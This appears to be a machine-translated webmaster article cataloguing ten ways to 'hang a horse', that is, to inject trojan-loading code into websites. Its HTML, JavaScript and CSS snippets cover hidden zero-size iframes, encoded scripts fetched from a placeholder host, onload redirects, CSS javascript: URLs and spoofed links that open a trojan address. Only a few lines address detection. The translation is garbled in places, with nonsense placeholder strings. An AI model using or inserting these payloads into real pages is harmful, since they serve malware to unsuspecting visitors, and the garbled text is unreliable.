1: Frame hang horse
<iframe src=addresswidth=0 height=0></iframe>
Among them, malicious website links can be entered at the "address"
Two: js file hang
As long as it is a JS file, it can be maliciously modified and malicious code can be hung. Generally, JS code referenced by the entire site is most likely to be hung with Trojans. We can check the left or bottom of the JS code. Bad people like to hide the malicious code and normal code with many spaces or carriage return, so we should check whether the JS code page is deliberately lengthened, etc.
Three: js deformation encryption
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt can be changed to any suffix
Four: Body hangs horse
<body onload="window.location='Address';"></body>
Five: Hiding a horse invisible
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';
Six: CSS hang horse
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
This method is more ruthless and difficult to find.
Seven: JAJA Hang Horse
<SCRIPT language=javascript>
window.open ("Address","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
Eight: Picture disguise
<html>
<iframe src="博题题题题" height=0 width=0></iframe>
<img src="Image Address"></center>
</html>
Nine: Disguised call
<frameset rows="444,0" cols="*">
<frame src="Open webpage" frameborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="net horse address" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
Ten: Advanced Deception
<a href="http://www.163.com (confused the connection address, display this address points to the Trojan address)" onMouseOver="www_163_com(); return true;"> What to display on the page</a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="博题题题题题题";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
How to discover the above behavior? If multiple pages have horse codes, then batch replacement tools are required. It is recommended that you use it.
Some downloads of the server channel of the new webmaster site (more software can be downloaded at s.Vevb.com)